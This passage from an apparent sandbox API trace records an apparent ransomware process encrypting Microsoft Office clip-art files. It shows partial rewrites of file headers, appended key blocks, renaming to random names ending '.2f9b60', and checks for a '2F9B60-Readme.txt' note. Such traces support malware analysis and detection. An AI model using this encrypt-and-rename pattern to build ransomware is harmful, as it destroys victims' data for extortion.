Office\\CLIPART\\PUB60COR\\9dd1346c0747.2f9b60" [0106.683] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9dd1346c0747.2f9b60", NtPathName=0x2d43f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9dd1346c0747.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0106.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202794f0 [0106.683] NtSetInformationFile (FileHandle=0x15a0, IoStatusBlock=0x2d43f7b0, FileInformation=0x202794f0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202794f0) returned 1 [0109.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291690) returned 1 [0109.735] NtQueryInformationFile (in: FileHandle=0x15a0, IoStatusBlock=0x2d43f778, FileInformation=0x2d43f788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d43f778, FileInformation=0x2d43f788) returned 0x0 [0109.735] NtSetInformationFile (FileHandle=0x15a0, IoStatusBlock=0x2d43f778, FileInformation=0x2d43f788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffd70) returned 1 [0109.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5da0) returned 1 [0109.743] FlushFileBuffers (hFile=0x15a0) returned 1 [0109.749] CloseHandle (hObject=0x15a0) returned 1 [0109.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b12d0 [0109.757] wcscpy (in: _Dest=0x202b12d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.757] wcscat (in: _Dest=0x202b12d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b12d0) returned 1 [0109.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4ccc0) returned 1 Thread: id = 727 os_tid = 0x1240 [0096.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x20 [0106.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF", dwFileAttributes=0x20) returned 1 [0106.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe4c [0106.158] GetFileSizeEx (in: hFile=0xe4c, lpFileSize=0x2d13f6a0 | out: lpFileSize=0x2d13f6a0*=47786) returned 1 [0106.158] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0xbaa6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.158] ReadFile (in: hFile=0xe4c, lpBuffer=0x2d13f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d13f668, lpOverlapped=0x0 | out: lpBuffer=0x2d13f620*, lpNumberOfBytesRead=0x2d13f668*=0x4, lpOverlapped=0x0) returned 1 [0106.184] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8610 [0106.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83a0 [0106.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0106.185] NtQuerySystemTime (in: CurrentTime=0x2d13f560 | out: CurrentTime=0x2d13f560*=132462177116722000) returned 0x0 [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x2a7b80e2 [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x6ce98ad [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x15081d62 [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x5d69dbe0 [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x5f419db7 [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x2628f067 [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x21f65747 [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x5adc7463 [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x39fa4c68 [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x199918f2 [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x7966ba90 [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x7e091f28 [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x78b7b5ff [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x235bcee2 [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x4031da5d [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0xa346102 [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x7ed4e1e8 [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x53b581f0 [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x7e93f060 [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x38b73db [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x278693d1 [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x6d789a17 [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x6c502381 [0106.185] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x2842b47 [0106.186] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x3032607a [0106.186] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x4a204801 [0106.186] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x5f2253bd [0106.186] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x69bf5a04 [0106.186] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x4fdb9be [0106.186] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x70c4fa19 [0106.186] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x7e58e50f [0106.186] RtlRandomEx (in: Seed=0x2d13f550 | out: Seed=0x2d13f550) returned 0x4d852a16 [0106.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced82b0 [0106.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8370 [0106.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7e60) returned 1 [0106.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8610) returned 1 [0106.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f35950 [0106.195] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.195] ReadFile (in: hFile=0xe4c, lpBuffer=0x41f35950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2d13f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41f35950*, lpNumberOfBytesRead=0x2d13f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0106.254] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8610 [0106.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8610) returned 1 [0106.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f44990 [0106.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8610 [0106.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0106.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7980) returned 1 [0106.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.255] WriteFile (in: hFile=0xe4c, lpBuffer=0x41f44990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2d13f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41f44990*, lpNumberOfBytesWritten=0x2d13f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0106.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f44990) returned 1 [0106.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f35950) returned 1 [0106.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a7340 [0106.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0106.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0106.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7370 [0106.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7370) returned 1 [0106.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a7370 [0106.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a73d0 [0106.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7400 [0106.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7400) returned 1 [0106.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0106.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0106.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0106.311] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0106.311] WriteFile (in: hFile=0xe4c, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d13f670, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2d13f670*=0x10a, lpOverlapped=0x0) returned 1 [0106.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7860 [0106.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7860) returned 1 [0106.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0106.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7860 [0106.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8880 [0106.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8880) returned 1 [0106.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0106.333] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="7e") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="1f") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="4c") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="c2") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="c0") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="74") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="a6") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="d6") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="9d") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="f5") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="47") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="79") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="25") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="58") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="4c") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="f8") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="ee") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="ff") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="a0") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="c2") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="6f") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="85") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="75") returned 2 [0106.333] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="db") returned 2 [0106.333] RtlInitAnsiString (in: DestinationString=0x2d13f6e8, SourceString="7e1f4cc2c074a6d69df5477925584cf8eeffa0c26f8575db" | out: DestinationString="7e1f4cc2c074a6d69df5477925584cf8eeffa0c26f8575db") [0106.333] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d13f6b8, SourceString="7e1f4cc2c074a6d69df5477925584cf8eeffa0c26f8575db", AllocateDestinationString=1 | out: DestinationString="7e1f4cc2c074a6d69df5477925584cf8eeffa0c26f8575db") returned 0x0 [0106.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b864300 [0106.334] RtlFreeAnsiString (AnsiString="7") [0106.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0106.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0106.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7860) returned 1 [0106.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0106.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7370) returned 1 [0106.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a73d0) returned 1 [0106.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7340) returned 1 [0106.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8610) returned 1 [0106.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83a0) returned 1 [0106.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced82b0) returned 1 [0106.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8370) returned 1 [0106.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7ad7a0 [0106.335] wcscat (in: _Dest=0x1b7ad7a0, _Source="7e1f4cc2c074" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7e1f4cc2c074") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7e1f4cc2c074" [0106.335] wcscat (in: _Dest=0x1b7ad7a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7e1f4cc2c074.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7e1f4cc2c074.2f9b60" [0106.335] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7e1f4cc2c074.2f9b60", NtPathName=0x2d13f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7e1f4cc2c074.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0106.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107b40 [0106.335] NtSetInformationFile (FileHandle=0xe4c, IoStatusBlock=0x2d13f730, FileInformation=0x107b40, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107b40) returned 1 [0109.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027fdf0) returned 1 [0109.631] NtQueryInformationFile (in: FileHandle=0xe4c, IoStatusBlock=0x2d13f6f8, FileInformation=0x2d13f708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d13f6f8, FileInformation=0x2d13f708) returned 0x0 [0109.631] NtSetInformationFile (FileHandle=0xe4c, IoStatusBlock=0x2d13f6f8, FileInformation=0x2d13f708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad7a0) returned 1 [0109.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864300) returned 1 [0109.639] FlushFileBuffers (hFile=0xe4c) returned 1 [0109.642] CloseHandle (hObject=0xe4c) returned 1 [0109.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x204ffff0 [0109.650] wcscpy (in: _Dest=0x204ffff0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.650] wcscat (in: _Dest=0x204ffff0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffff0) returned 1 [0109.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4cd50) returned 1 Thread: id = 728 os_tid = 0x1244 [0096.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x20 [0106.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF", dwFileAttributes=0x20) returned 1 [0106.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1590 [0106.578] GetFileSizeEx (in: hFile=0x1590, lpFileSize=0x2d3bfd40 | out: lpFileSize=0x2d3bfd40*=14540) returned 1 [0106.578] SetFilePointerEx (in: hFile=0x1590, liDistanceToMove=0x38c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.578] ReadFile (in: hFile=0x1590, lpBuffer=0x2d3bfcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d3bfd08, lpOverlapped=0x0 | out: lpBuffer=0x2d3bfcc0*, lpNumberOfBytesRead=0x2d3bfd08*=0x4, lpOverlapped=0x0) returned 1 [0106.586] SetFilePointerEx (in: hFile=0x1590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8400 [0106.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0106.586] NtQuerySystemTime (in: CurrentTime=0x2d3bfc00 | out: CurrentTime=0x2d3bfc00*=132462177120778000) returned 0x0 [0106.586] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x678e0420 [0106.586] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x62ee7053 [0106.586] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x4372190c [0106.586] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x2a14d1f3 [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x580ebc7c [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x72a691ca [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x2c9edc6e [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x3e8eb665 [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x13940829 [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x61eb8078 [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x76a1c8fc [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x4de773b8 [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x629f8173 [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x7ef61370 [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x12044988 [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x7049bf7f [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x7c8628d0 [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x460963ef [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x342fb7b3 [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x75aa9b1 [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x7f34f525 [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x37a7da28 [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x4c992caa [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x41ba8c3e [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x1c9dc0a9 [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x1b5b8c15 [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x2424b999 [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x1c1a5043 [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x5417c9e0 [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x5ddc7b67 [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x5d44f34f [0106.587] RtlRandomEx (in: Seed=0x2d3bfbf0 | out: Seed=0x2d3bfbf0) returned 0x7344afbd [0106.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7260 [0106.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d40 [0106.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0106.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.597] RtlFreeHeap 